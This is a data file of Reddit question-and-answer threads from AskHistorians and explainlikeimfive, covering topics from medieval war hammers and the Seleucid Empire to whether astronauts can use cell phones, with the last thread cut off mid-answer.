International\n >  History Review, Vol. 13, No. 1 (Feb., 1991), pp. 38-69. P. 38-9.\n\n >  29 Praveen Swami, India, Pakistan and the Secret Jihad: The Covert War in Kashmir, 1947-2004, (New York:\n >  Routledge, 2007), P. 15.\n\n >  30 Shuja Nawaz,  Crossed Swords: Pakistan, Its army, and the Wars Within. (Oxford: Oxford\nUniversity Press, 2008). Pp. 40-42\n\n >  31 Swami, India, Pakistan and the Secret Jihad, P. 15.\n\n >  32 Ibid, Pp., 42-43.\n\n >  33 Ibid, P. 43.\n\n >  34 Ibid, P. 43.\n\n >  35 Swami, India, Pakistan and the Secret Jihad, P. 15-16\n\n >  36 Ibid, Pp.18-22.\n\n >  37 Nawaz, Crossed Swords, P.49.\n\n >  38 S. Paul Kapur, \u201cIndia and Pakistan's Unstable Peace: Why Nuclear South Asia Is Not like Cold War Europe\u201d,\n >  International Security, Vol. 30, No. 2 (Autumn, 2005), pp. 127-152. P. 136.\n\n >  39 Swami, India, Pakistan and the Secret Jihad, Pp. 21-23.\n\n >  40 Ibid, P.22.\n\n >  41 Ibid.\n\n >  42 Ibid, P. 22.\n\n >  43 Nawaz, Crossed Swords, P. 50.\n\n >  44 Swami, India, Pakistan and the Secret Jihad, Pp. 22-23.\n\n >  45 Nawaz, Crossed Swords, P. 57.", "I simply wanted to thank the mods for another exemplary job in this highly-partisan discussion. I had minimal info of this situation going in, and I feel more informed about the issue. There was little inflammatory rhetoric and plenty of substance throughout. Thank you once more,as a reader of this sub. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3zt8q7", "title": "How do experts go about trying to determine the manner/timeline of human expansion out of Africa?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3zt8q7/how_do_experts_go_about_trying_to_determine_the/", "answers": {"a_id": ["cyoujwn"], "score": [2], "text": ["hiya, this question on early human development and deep pre-history would be worth x-posting to our sister sub /r/AskAnthropology. Anthropology questions are permitted here, but it's worth checking with the specialist sub."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3tz6kn", "title": "why do the current political polls differ so greatly from the gambling odds?", "selftext": "Do polls have any value at all?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tz6kn/eli5_why_do_the_current_political_polls_differ_so/", "answers": {"a_id": ["cxahnpt", "cxakyvp"], "score": [7, 2], "text": ["The odds on gambling are not just dictated by the odds of winning but also on the popularity of the bet. Say person A and person B are running and the polls say is a 50-50 chance of either one winning. You would think that a casino would expect a winning bet of $110 to win additional $100 no matter which candidate (The $10 difference is where the casinos make their money). What if 50 people bet on person A and nobody bet on person B. That means if person A wins, the casino has to pay out winnings to everyone who bet on person A. Since nobody bet on person B the casino gets to collect nothing and they end up losing a bunch of money. Conversely, if person B loses they get to collect a bunch of money without having to pay out. The problem is that casino don't like to gamble like that. They would prefer even bets on both side so that they cover there payout no matter who wins and collect their profit via the commission. To make sure the bets are even on both sides, they will make the odds a but better for person B to compensate for person A's popularity among gamblers.\n\nSome reasons why the betting might be skewed could range from general popularity among the types of people who tend to gamble to speculation about whether someone like Donald Trump is actually a serious candidate even though the polls may say he is.", "Individual polls have relatively little value this far away from the general election, but if you compare a candidates *current* polls with both their own previous polls as well as historically similar candidates at similar times you can make a prediction of a candidate's final votes. \n\nGambling odds are also much different because if someone is polling 60-40 versus their opponent, that does not mean they have a 60% chance of winning. It means they are going to get 60% of the vote, which gives them actually an extremely good chance of winning the overall election. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "16u22p", "title": "why it stings to pee after ejactulation", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16u22p/eli5_why_it_stings_to_pee_after_ejactulation/", "answers": {"a_id": ["c7zcqi2", "c7zdse3", "c7zj8zt"], "score": [10, 6, 2], "text": ["Um, it doesn't?  \n\nI sometimes get the split stream when there are sex juices partially blocking, but that's it.", "Your semen contains alkaline chemicals that are designed to protect your sperm from two harsh acidic environments: the female reproductive system, and your own penis. The inside of your penis is not actively producing acidic chemicals (like the uterus is). It just happens to be acidic because urine is acidic and there are trace amounts of urine in your penis basically all the time. \n\nIf you pee immediately after you ejaculate, the pain/tingling you are feeling is probably the sensation of \"holy cow the inside of my dick was alkaline just a second ago but now it's acidic.\"", "It doesn't for me. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1pl35a", "title": "How popular were War Hammers during the Medieval Period?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pl35a/how_popular_were_war_hammers_during_the_medieval/", "answers": {"a_id": ["cd3k60y", "cd3k8tw"], "score": [6, 2706], "text": ["In what area of the world?", "**Introduction and Definitions**\n\nIt's important to know exactly what we are discussing, so for purposes of this response, I'll assume you're referring to war hammers as used in the Medieval period in Europe/North Africa/Near East, not neolithic stone hammers and such. \n\nThere are two main \"classes\" of war hammer that were used at various points in the late Medieval period (roughly 14th-16th Centuries). The first was the standard, one-handed \"war hammer,\" or \"horseman's hammer\" which actually looked at bit like the modern tool with which it shares part of its name, except instead of the crow's foot on the back end, it had a single spike. The front end was often crenelated, or dimpled, as well. \n\nThe second type was the \"maul,\" which was a war hammer with a long handle that originated primarily as a tool for driving spikes, and was adapted later into an improvised (and then official) military weapon. The two most common types of mauls were the Bec-de-Corbin, known as the poleaxe in English, and the Lucerne hammer, which was made famous -- as its title attests -- by the Swiss, but there were a variety of different polearms that used hammer-like attacking ends.\n\n**Rise of the War Hammer**\n\nHammers came about in the mid-late Medieval period primarily as a response to advanced armor technology. This period in history was a literal arms race, in which armorers were always striving to better protect their clients from the weapons of the day, and bowyers, fletchers, smiths, and others were always trying to ensure the armorers couldn't do this. By the late-ish Medieval period, the armorers had created suits of plate or plate-combined-with-other-stuff that were so hard and smooth that swords would just bounce off them. This was, needless to say, not only ineffectual, but a genuine hazard, as sword strikes could ricochet. Since swords were one of the more common weapons for knights to use on each other up to this point, Medieval knights looked for an alternative.\n\nOne alternative was to find weapons that, instead of slashing, would pierce the armor. Medieval medical technology wasn't very advanced, and battlefield medicine, as such, was basically nonexistent, so a successful piercing attack, even if small, could be fatal. English archers developed special arrowheads and powerful bows for this purpose, and there was a large shift in knights to polearms for single combat here. This explains the spike on the end of war hammers -- it was used to pierce armors and deliver potential killing blows. This was also useful for hooking onto enemy weapons, shields, and reins, and pulling them away from enemy control.\n\nOne problem with this, though, at least as far as the war hammer is concerned, is that spikes can get stuck in the holes they create. Also, Medieval knights could wear a suit or shirt of chain or rings under their plate, which would be much more effective at distributing spike attacks, and could render wounds very small. This, combined with the potential loss of your weapon in the face of an enemy who was likely to be pretty pissed off that you just tried to kill him, made simple spiked weapons dangerous as a first option.\n\nEnter the hammer. Medieval warriors may not have understood the principles of surface area and transference of force, but they knew damn well that if you hit a guy hard in the head with a heavy, flat object, no helmet was going to protect him from major head trauma, concussions, blackouts, or at least some wooziness and pain. Also, if you hit someone with a relatively flat surface, there's not much chance the weapon will embed and disarm you -- indeed, it's pretty likely to just bounce back and get you ready for a second blow. \n\nHammers are perfect for this. So, as armor got stronger, knights gravitated toward hammers and other hammer-like objects. \n\n**How popular were they?**\n\nIt's difficult to say for certain, but it seems that [mauls and hammers were a weapon of choice](_URL_3_) for the well-to-do knight at arms in the later Medieval period. The one-handed hammer was used primarily by cavaliers on horseback, and when dismounted, they would switch to the heavy maul. We have many, many of these weapons extant in museums, and many are very well made, inlaid, and must have been quite expensive. \n\nMany factors point to their very common use. For example, a glance at the [War of Troy Tapestry](_URL_0_), ca. 1490, and extant copies of [*The Justice of Trajan and Herkinbald*](_URL_2_), ca. 1450s, both prominently show mauls and hammer-like polearms in the hands of the highest-level nobles and warriors. A famous fresco depicting [Godfrey of Bouillon](_URL_1_), dating from the 1420s (the fresco, not Godfrey himself, who was alive in the 12th century), prominently shows Godfrey holding a poleaxe, which the artist no doubt conjectured was an appropriate and common weapon for such a high ranker (in point of fact, it almost certainly was not, but is instructive in terms of what must have been its commonality in the artist's time). \n\nPoleaxes are also known to have been used in duels between knights, and we know of a special poleaxe called the *hache* (which just means \"axe\" in French, compare the English \"hatchet\") that was designed exclusively for duels. Surely such weapons must have been very common among knights to be preferred for duels and have had a special version made for them. \n\nAlso, Italian fencing master Filippo Vadi, wrote *De Arte Gladiatoria Dimicandi*, a manual for fencing with various weapons, that is accompanied by a variety of colored illustrations, some time in the early-mid 15th Century. The book and the illustrations both have segments focusing on the maul, [which you can see here](_URL_4_).\n\nWere they used by people other than knights? Possibly. The Medieval German word for poleaxe appears to have been *fussstreihammer,* which, according to the article I know on the subject, means something like \"infantry war hammer.\" So, it's possible that, at least in Germany, landsknechts and other footsoldiers were using these weapons both in the Medieval period and beyond. There have been skulls found at large Medieval battle sites, as well, that show damage consistent with hammer-like strikes, although this is hard to verify for certain.\n\n**Conclusion**\n\nIn my view, it's pretty safe to say that war hammers were commonly used during the Medieval period, especially the later Medieval period. However, war hammers like Thor's Mj\u00f6lnir, or like those you see in a Dungeons and Dragons illustration, were probably not much used. What was used were one-handed weapons more akin to modern tool hammers, and especially, from the evidence I've seen, two-handed mauls that shared characteristics with other pole-arms, such as halberds and pikes. \n\nEDIT: Thank you all so much for the gold and the great followups and comments. I will get to them all as soon as I can! This'll teach me not to fall asleep so soon after I post!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.vam.ac.uk/content/articles/w/the-war-of-troy-tapestry/", "http://en.wikipedia.org/wiki/Godfrey_of_Bouillon", "http://en.wikipedia.org/wiki/The_Justice_of_Trajan_and_Herkinbald", "http://www.myarmoury.com/feature_spot_poleaxe.html", "http://zweilawyer.com/wp-content/uploads/2011/08/combact-becorbin.jpg"]]}
{"q_id": "1owuzl", "title": "When did a cup-like vessel become part of most table settings? Eubulus talks about drinking from bowls and hieroglyphics also depict drinking from a bowl. Is the cup a relative new thing?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1owuzl/when_did_a_cuplike_vessel_become_part_of_most/", "answers": {"a_id": ["ccwg25j"], "score": [3], "text": ["In Western Europe, around the time of the Roman empire. Roman pottery production was generally industrial and for-profit in factories, in contrast with preceding household pottery production. The effect of this was that wheel-thrown pottery won over hand-formed (coiled) pottery. The fast potter's wheel allows for thinner forms, but also requires more technology (investment) and a specific supple type of clay, rather than just any clay. It also meant that because pottery was made for-profit by competing companies, esthetics became a bigger part of pottery production, as well as standardisation. Coupled with the display function of drinking parties of the time (both in Roman and barbaric societies), this led to the introduction of the drinking cup in various forms, including glassware, in western Europe. As the Rhineland (the primary pottery production center in late antiquity) retained its prominence during the early middle ages, the collapse of the Roman empire had relatively little effect on the rise of the cup.\n\nI am not so sure what happens in the eastern empire though; both 'nice' pottery and factory production were already part of the pre-Roman eastern Mediterranean, but in the Greek-influenced world people were drinking from shallow bowls as well as cups. This may have to do with the dregs in wine which was drank here, people basically using their bowls as shallow pans like a gold-panner would. Note however that the shallow kylix is only one of the many pottery forms from which one could drink, others being much more cup-like."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a9h2lm", "title": "The Seleucid Empire was initially the largest of the Diadochi kingdoms, but by the 1st century B.C. it's territory had shrunk to a small portion of Syria. How did such a seemingly powerful state decline so monumentally?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a9h2lm/the_seleucid_empire_was_initially_the_largest_of/", "answers": {"a_id": ["ecldsd6"], "score": [56], "text": ["The Seleucid state was for the longest time the largest of the successor kingdoms, controlling the heart of the former Achaemenid Empire and many of the world's most affluent regions at that time. Despite that its memory in western Europe, when indeed it is remembered at all, is frequently one of precipitous, inevitable decline, and it's often regarded as nothing more than a curiousity. I'm glad that you've asked this question because it's an opportunity to talk about the Empire itself whilst also examining its memory in historiography, the traces of which lie beneath the question you've asked.\n\nThe Seleucid state is a fascinating creation, but many facets of the Empire pointed at to indicate the seeds of its decline are not unique to the Seleucids. The Empire was not especially sprawling compared to the Achaemenid Empire, and the Seleucids inherited a robust network of bureaucracy and infrastructure designed to govern and maintain order across its diverse provinces. Aramaic bureaucracy was maintained but gave way to a Greek speaking one over time, even in the farthest reaches of the Empire such as the province of Bactria. Nor would one say that it had especially venomous or frought dynastic politics compared to the Achaemenids who came before, who had fought several internal civil wars across their two centuries of existence, or indeed the Neo-Assyrian Empire which also saw civil wars between members of the royal family for possession of the throne.\n\nThere is also a persistent idea that Greeks and Macedonians were especially unwelcome to Near Eastern peoples for various reasons, leading to a deep rejection of Greek culture and rulership. Whilst the Achaemenids had pedigree in the Near East, with Persia functioning as the successor to the Kingdom of Elam, they had been just as foreign to most of their conquered subjects as the Greeks had been, happy to absorb those traditions that would lead to stable rulership but otherwise clearly marked as foreign and at times privileged above other peoples within the Empire. Nor am I arguing simply on the basis of likelihoods- it's quite evident from material culture alone that, far from rejecting Seleucid interpretations of Greek culture, the Parthians absorbed many of them wholesale and this formed a strand in Near Eastern material culture.\n\nIf anything we also need to think about why this is a monumental decline, when the Achaemenid supremacy over Middle Eurasia was broken across a single decade by a former client state that was having to maintain a logistics chain across the Hellespont and, eventually, the whole of Anatolia. If anything the overnight reversal of uncontested might into total submission to a hostile power is more shocking than a gradual loss of territory, prestige, and military power.\n\nHowever, there were issues unique to the Seleucids that had not been the case for the Achaemenids, and this definitely relates to why the Seleucids lost their power bit by bit instead of, as with the Achaemenids and Neo-Assyrian Empires, being utterly vanquished at what seemed to be the height of their powers.\n\nFor one thing, the Seleucids were never actually in control of their homelands for the entirety of the Empire's existence. This resulted in the mass import of Hellenic colonists across the Empire to form citizen populations, often at times for entirely new cities. This afforded the Seleucids quite a lot of power; not only did they often have garrisons in important cities, as the Achaemenids had done, there was often a theoretically loyal population of fellow Greeks who would often dominate the local economy. This settlement was especially dense in the area we call Syria, which is why that was the element of the Seleucid state which survived the longest, and this was eventually the ideological 'homeland' of the dynasty and its Greek populations rather than Macedonia and Hellas. However, this did mean that there was the possibility for socio-economic tension in these cities, and the roving nature of the Seleucid monarch meant that these individual cities had a lot more power than it might otherwise seem. The frequency of campaigns and the fact that the King was constantly moving from place to place meant that cities had to be relied upon for logistics and provender, and these needs were not always met (though the consequences for such defiance were usually severe).\n\nThis is itself symptomatic of perhaps the biggest difference between the Achaemenids and Seleucids; the Seleucids had peers. The Achaemenids never possessed a neighbouring power that could be said to contest their might or rival their amibitions, and when an exception came in the form of Phillip II and Alexander III of Macedon the result was the wholesale replacement of the Achaemenid monarch on top of the intact structures of the Empire, with Alexander even marrying into the dynasty. By contrast the Seleucids faced a number of other successor states that could not simply be overwhelmed or overawed. Military threats to the Seleucid border, particularly in the west, were organised. The fact that there were competing powers in the Mediterranean also gave scope for marginal territories and cities to comparison shop, flitting between allegiances to get the best deals on offer. Dealing with this whilst also dealing with a geographically sprawling Empire was not easy. The Achaemenids had themselves struggled with some of the Empire's marginal areas, particularly in the Aegean and in Egypt, the latter of which successfully revolted against the Achaemenids twice. For the Seleucids they began to struggle with Central Asia, precisely because this area was not a source of constant threats.\n\nAttempts to reassert authority in Central Asia, such as Antiochus III's campaign into Bactria, were lengthy and involved the King's person, which took him away from matters involving the other hostile successor states and cost considerable resources. This was not dissimilar to Xerxes' expedition to Greece, where he eventually had to leave and the attempt to secure a Greek satrapy collapsed not long afterwards, except that Xerxes had been attempting to push the limits of the Empire's authority and Antiochus III had been attempting to reassert his Empire's existing integrity.\n\nThe Seleucids were also existing in a larger world. When Alexander had launched his expedition against the Achaemenids they had been content to maintain an Indus frontier, with no evidence really existing that serious attempts were made to conquer further into India. Within a few decades the Mauryan Empire would come into existence, uniting most of the subcontinent and potent enough that the Seleucids, at arguably the height of their powers, were willing to part with eastern territories rather than waste time and energy in protracted warfare. Considering the stability of the Seleucid/Mauryan frontier afterwards this choice seems to have been vindicated.\n\nWe also have the elephant in the room that is the Roman Empire, growing from a regional Italian power to one of the Mediterranean heavyweights to the uncontested owner of the Western Mediterranean. The Roman Empire's decision to expand its sphere of interest to include Greece and the Aegean, and then the entire Eastern Mediterranean, denied any possibility of a belated Seleucid conquest of Macedonia or Greece, along with the possibility of a final overthrow of Ptolemaic Egypt. These gave a kind of half life to the Empire's existence, unable to overcome obstacles to its power in the west even after great efforts, with many of its former client states and breakway territories turning to Rome as the new game in town, and with its pretensions to military supremacy and independent foreign policy broken at the hands of Rome. Dynastic squabbles concerned ever smaller versions of the Empire as former satrapies asserted independence or went to Rome. Likewise its neglect in Central Asia had allowed the Parthians to go from a minor kingdom to an expanding power that had pushed the Seleucids out of the Iranian Plateau entirely. The last serious attempts the Seleucid dynasty made to assert themselves were the final campaigns aimed to defend Mesopotamia from the Parthians, which ultimately failed, dooming the remnants of the dynasty to fight over increasingly splintered parcels of the Empire's heartland in Syria.\n\nA glib summary might point to the Seleucids as the victims of socio-economic change, as new centralised states emerged where previously the Near East could likely have written off the locals as barbarians barely capable of living in stone houses, or indeed that they were victims of the beast that Alexander unleashed; the idea that any scrappy but organised smaller state could take on the Mighty Empire and win it all. But realistically, given Seleucus' origins as a talented but also lucky grandee of Alexander's military circle, who had overcome any number of similar men to even create his Empire, they did a pretty good job at being a functional Near Eastern Empire. The fact that they were not able to eliminate their close rivals and had similar origins and motivations to them is probably the biggest specific structural flaw built into the Seleucids from the beginning; it's hard to make yourself seem quite as scary as the Achaemenid monarch, uncontested Emperor from Sardis to Samarkhand, when you *are* contested and when you know the King of Egypt, King of Macedon, King of Pergamon among many others have exactly the same origin you do; a Macedonian warlord with ambition and endurance. But the fact that they are considered so symptomatic of decline, so weak and ineffectual, is primarily a result of hostile Roman historiography and 19th-20th century imperial ideology that characterised them as effete, sensuous, and oriental, especially as a dynasty that mixed with Asian peoples in marriage and government. The study of the Seleucids has moved on from that idea, it's just rather taking a while to catch on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aognpa", "title": "can astronauts use their cell phones to make calls or text? what about the internet? isn\u2019t all that information going from a cell tower, to a satellite? if so, wouldn\u2019t they get better service?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aognpa/eli5_can_astronauts_use_their_cell_phones_to_make/", "answers": {"a_id": ["eg0mxig", "eg0nrb4", "eg0nxvk", "eg0ny0p", "eg0rxry", "eg1046t", "eg14l3n", "eg167v5", "eg17sht", "eg17uok", "eg18uny", "eg192ax", "eg19etu", "eg1cbzt", "eg1dgtv", "eg1dyjk", "eg1edmq", "eg1fl1j", "eg1fxxa", "eg1hcgo", "eg1hv7u", "eg1p9oz", "eg1px5v", "eg1qd7i", "eg1qhn5", "eg1qllh", "eg1ronk", "eg1shut", "eg1team", "eg1u3g9", "eg1umrt", "eg1vcgb", "eg1w0hz", "eg21smb"], "score": [3, 1894, 33, 201, 10, 19, 38, 27, 266, 3, 283, 2, 3, 17, 19, 3, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2], "text": ["Not a Space/Electronic buff so I cant fully do an ELI5, but I remember seeing a comment on a post saying that an astronaut called 911 in a space station for fun and the emergency responder picked up, so maybe?", " >  Can astronauts use their cell phones to make calls or text?\n\nThe International Space Station does have internet access. They can make calls or text over the internet/Wi-Fi (like Wi-Fi calling, Facetime, or Skype does), but they can't make a \"normal\" phone call because there are no cell towers. I don't know if they can just use it whenever they want since bandwidth would be limited and probably must be kept free most of the time for official business.\n\n >  Isn\u2019t all that information going from a cell tower, to a satellite?\n\nNo, your phone connects to a cell tower, and then there are cables and wires connected to the cell tower that your data moves through. Neither you nor the cell towers connect to a satellite.\n\n", "It depends on what you mean by \"cell phone\". If you mean the phone you have in your hands right now, it is highly unlikely that it would work in space. \n\nOur consumer cell phones look for nearby cell networks, which then connect to a nearby cell tower. Neither cell networks or cell towers exist in space, so these kinds of cell phones won't work. And the range for these types of cell phones is only 5-10 miles, because they use directional radio waves to travel horizontally.\n\nIf you mean a satellite phone, which connects directly to satellites in orbit, then yeah. They could almost definitely make a phone call with them, depending on where they were in relation to those satellites. See, those satellites use directional signals that point straight down at the Earth, so if you were between the Earth and those satellites, it would work just fine. You could do it near the ISS, for example. \n\nAnd as you move further away from the Earth, they would stop working again, because they would quite quickly leave the maximum range for those types of communications.\n\nThe ISS, for reference, uses VoIP from their internet connection.\nAnd, for goodness sakes, don't dial the wrong number. Imagine the long distance charge! /badjoke\n\nEDIT: Oh, and that's just kind of ignoring the physical problems that would occur due to temperature, pressure, radiation, or magnetism. A modern phone cannot operate in the temperature extremes of space, for example. In the areas around Earth, the temperatures can range from 240F to -150F, far too hot/cold for sensitive electronics.", "The ISS is 250 miles from the nearest cell phone tower, so a conventional cell phone would not work.  They do have internet service, via a variety of radio/etc links with NASA.", "It would work connected through the Wifi network, just like in an airline, but your regular network would not work, as you are above the cell towers (just like in an actual airplane).", "ELI5: You need to be within a few miles/kms of a cell phone tower to use it. ISS is about 250 miles up (500 km EDIT: 400 km).", "Given that ISS is moving at 17,500 mph wouldn't the doppler effect screw up the frequencies?", "Just FYI, cell phones don't even work in planes because cell tower radios aren't pointed up, they're pointed out along the ground because that's where people with cell phones are.", "So they get pornhub in space? \n\nSweet.", "You said it yourself. From the cell tower to the satellite, the satellites and the phones aren't equipped to talk to each other. And most cellphone calls never actually get routed through satellites. That said the ISS does have internet access from a satellite connection (similar but not the same as what planes use) so they can communicate well enough. ", "I wonder if right now, someone up in space is browsing Reddit instead of actually working. ", "How strong is their WiFi signals?", "Geostationary satellites are too far away from earth for phone calls or internet. They have large ground stations that give them big bandwidths, which are suitable for batch delivery, usually TV.\n\nLEO communications satellites move quickly with respect to ground. Like GPS, they're only useful if there are several to choose from. A single phone call gets handed off from satellite to satellite. The cost of running a constellation of satellites makes satellite phones very expensive (source: knew a guy who did collections for a satphone company).\n\nThe ISS, contrarily, switches from ground station to ground station. Their ground stations are large, and do nothing but follow the space station. Ferrying an internet connection, or phone over internet, is relatively low cost.\n\nBecause the earth is round (or because NASA wants us to think it is) the ISS is [occasionally](_URL_0_) out of sight of all of its ground stations.", "Fun fact: British space Station astronaut Tim Peake once mis-dialed while on the iss and got through to a random person in the UK and politely apologised and re-dialled. ", " >  Isn\u2019t all that information going from a cell tower, to a satellite? \n\nNope.  This is a common assumption but that's not how it works.  Satellites are not used at all for cell phone networks.  If they were, internet on your phone would be a **lot** slower.  Satellite internet is really only used in places **way** out in the sticks where it's just too expensive to run cables for the few people that live there.  It's slow and shitty.  Even though radio waves travel at the speed of light, it's an incredibly long distance for a signal to get up to a satellite and back down.  \n\nCell towers have cables connecting them to wired networks, fairly similar to how a home internet connection works.  \n\nA related fun fact, the vast vast majority of internet traffic going between continents does not use satellites either.  For the same reason, it's really slow. The internet actually depends on big fancy expensive underwater cables that have been set up to cross oceans.    We've been putting underwater cables across oceans for over 150 years now.  The earliest ones were for telegraph and then telephone and at this point we have far more advanced ones for internet. \n\n_URL_0_", "Satellite is usually not used for real-time communication unless there's no other route on the ground.  The speed of light is very fast, but still takes over half a second for data to bounce off a geosynch orbit satellite and back.  That's why satellite interviews and phone calls have such an obvious lag.  \n\n\nThe vast majority of internet, text, and phone traffic goes over cables in the ground and under the ocean, which can get data from point to point 10x as fast as satellites, at hundreds or thousands of times the bandwidth.  Satellite is usually only used as a fallback plan for remote areas where the sender/receiver isn't in range of a normal network.", "Because the actual need for specialized hardware that had been mentioned, \n\npeople are also forgetting that in space, radiation is a concern. Our atmosphere shields us from alot of that.\n\nNormal electronics have a high failure rate when put in space because chips and other components are not radiation hardened, and tend to have problems. Integrated circuits can, and routinely do fail due to radiation damage of the particular circuit because the transistors are so small. Radiation can easily induce a current in an improper manner, and destroy handfuls of transistors (which effectively make the entire integrated circuit dead). \n\nJust figured I'd mention this aspect. ", "Using normal cell connections can be a problem when you're higher up, for a couple reasons. \n\nNumber one, depending on how high up you are, you may have great signal strength because of less blocking your signal (no other buildings, hills, etc like on earth), but you may end up with having issues with being able to connect to too many towers at once, and difficulty in locking to one quickly.\n\nNumber two, unless you are in geosynchronous orbit, you're going very fast, and you may move out of range of a tower before you can really do much, so you'd be extremely rapidly switching towers.", "On the same topic, how long does the signal take to reach the astronauts? \n\nWhat's the lag?", "Astronauts can't use a regular cell phone to make calls or text while they are in space; a cell phone talks to a cell tower, which is then connected to the larger phone communications networks.\n\nWhile some parts of these communication networks may use satellites for relaying information, no regular cell phones actually send info to satellites.  Many cell phones receive data from GPS satellites, but that data is very limited and is only used by the phone to triangulate its own position on or near the earth's surface.\n\nThere are actual satellite phones that are intended for use outside of normal cell phone networks.  Those phones require a fairly clear line of sight to specific satellite(s) intended for that sort of communication.  \n\nI do not know if that sort of satellite communication is used in space for voice calls; in general, communication satellites are still limited in processing power (even simple relaying) due to size and weight limits for efficiently placing the satellite into orbit.  That means that, in general, the \"bandwidth\" for a satellite phone call is ordinarily fairly limited.  So I doubt that there would be better service for any satellite phone call from space.\n\n", "Satellites are very rarely used in normal two way communications. They're expensive and have limited bandwidth. If you leave your phone on while ascending in a plane you'll notice you lose reception very quickly, a few thousand feet. Land based fiber backhaul connects the towers.", "What about satellite phones, would they work?\n", "Define normal call then. I can call using my network provider, even if i connect via wifi. This to me is a normal call because it uses my providers network.", "Isn't there an astronaut who posts educational science videos from the ISS to YouTube sometimes? They must have some access to use for non-government business", "Astronauts probably get the same service as the rest of us....i don\u2019t believe your profession determines that", "Cell phone towers and satellites both use radio frequencies to send and recieve data, but the frequencies and bands are very very different. A cell phone antenna (technically, its signal processor) is designed to run cell tower frequencies, it cannot run at the lower and higher band frequencies utilized by satellites. This is first due to size and manufacturing restrictions (more versatile transceivers and chips cost more to produce and necessarily increase chip size); second, laws are in place which define what frequencies satellites, phones, and any wireless device uses. \n\nIn otherwords, even if cell towers bounced signals off of satellites (they don't, but I'll get to that shortly), a cell phone would not work in space as the signal bands used by satellites and those used by cell phones are nowhere near identical. \n\nAs others have pointed out, cell towers do not use satellites to route signals. There are two reasons and a few bits of minutia which explain this. First, pretty much the entire world (geographically speaking, not individually) is connected by hardline (usually fibre); it is far more efficient to use hardline for data as it is hardline that connects 99.999% of the servers and data sources we care about to our wifi routers and computers. Those areas which do not have hardline usually have long distance, directionalized (focused instead of radial) repeaters for higher frequency data (higher frequency = more data speed). Very few places rely on satellite internet and those which do are very small and geographically isolated communities. \n\nThe second reason is speed. As alluded to above, high frequency bands provide data with more \"bandwidth\" which is colloquially synonymous with data speed. But, the problem with most high frequency bands are their small wave lengths, which are easily scattered by stuff in the atmosphere (clouds, moisture, et cetera). This leads to noise and signal loss which would prevent an efficient and uninterrupted flow of data. Also, differences in atmospheric composition and density refract high frequency signals (radio is just light afterall) much more percipitously than low frequency signals with longer wavelengths. Overall, this makes satellite very very limited in terms of data speed. \n\nThe other third reason, which I have caste as manutia since it deals with a bit of internet most people dont think about, is latency. Latency is, simply put, the round trip time between sending a message and getting a response, assuming a response is sent immediately after the recipient receives it. Light can only move so fast, with signals sent over fiberoptic cable and signals directed with satellites having negligible differences in speed (light does travel slightly slower in medium than it does in vacuum). Even with slightly faster light, satellites yield far longer latency (2-3s) than hardline (30-300ms). The main two factors here have to do with signal path distance and intermediary signal processing. \n\nTo send a signal into space and move it around the globe will inevitably, for most use cases, lead to a longer distance of travel than simply running the signal along the curvature of the ground inside hardline. You're adding a few hundred km, at each ground to space and space to ground leg of the journey (4 legs in total) which can quickly add thousands of kilometers of extra travel distance between transceivers alone. The difference in speed is so negligable that the ground based hardline will almost always outrun the space fairing signal. \n\nThe other bit slowing this data down are the ground and space transceivers themselves. For the most part, space hardware is 10 years behind ground tech (at the time of launch) because the conditions of space are so harsh that new tech needs a decade or longer to certify for space. This means data is bottle necked at each leg of it's journey by slower routing technology, which may take longer to reconstruct a packet and then longer still deciding where to aim it or what frequency to repeat it on. The ground based transceivers are likewise a few years behind the mainstream as their data needs are pretty consistent over longer periods of time than say a cell tower. This yields yet another bottle neck in the journey. \n\nThe ISS is connected to the internet via earth, not other satellites. They have regular periods during which their internet is down and cannot log on to their Facebook or forward experiment data to the ground. They still have their radio, just like a plane, and can talk to Houston and Moscow, but again, those are two very different types of signals communicated with two entirely different radio bands. A voice signal caries far less data (in fact, it is probably analog, so no digital signals at all) and can operate at far lower (and more stable and versatile) frequencies than the iss data antennas use. For reference, those huge satellite dishes some people still have on their roof or in their backyard (d-band) are able to maintain signal in even the thickest part of a hurricane, when most dish network and direct tv dishes have long since cut out. Those dishes are big, not simply to get a better signal, but because the signals they collect have much longer wavelengths. That longer wavelength helps the information penetrate even the worst atmospheric conditions with minimal loss. Such is the case with radio communications on the ISS, which are almost invariably up and running, even when data links are down. \n\nTL;DR: satallites are slow and expensive, almost none of the internet is connected to them, and cell phones cant talk to them even if they wanted to. The iss depends on normal radio for most mission critical comms and even up there, internet is a luxury that is regularly down. The iss connects to the internet via the ground, not other satellites. ", "I remember when this service was introduced.  Someone from the space community was being interviewed by a dumb reporter who legitimately thought that internet in space was so we could talk to aliens.  \n\nAnd that\u2019s not all, I saw another reporter asking an exec from Google about Streetview, she was concerned that burglars would be able to tell if you were out of the house.  Er... no.  It\u2019s not LIVE data.  ", "You cannot reliably connect cell towers while on the plane - you go out of the cell reception faster then phone can do something.\n\n & #x200B;\n\nThe ISS moves much faster.  It exits the visible area in less then minute.", "I remember that am radio waves do not get deflected by the atmosphere. Does that mean that astronauts can listen to am radio?", "The ISS itself does not have internet access! They control a computer on earth which has internet access remotely so they don't get a computer virus on the ISS. That's also why their internet is really bad. \nThey can make normal phone calls tough.\nSource: Alexander Gerst", "Once worked with a 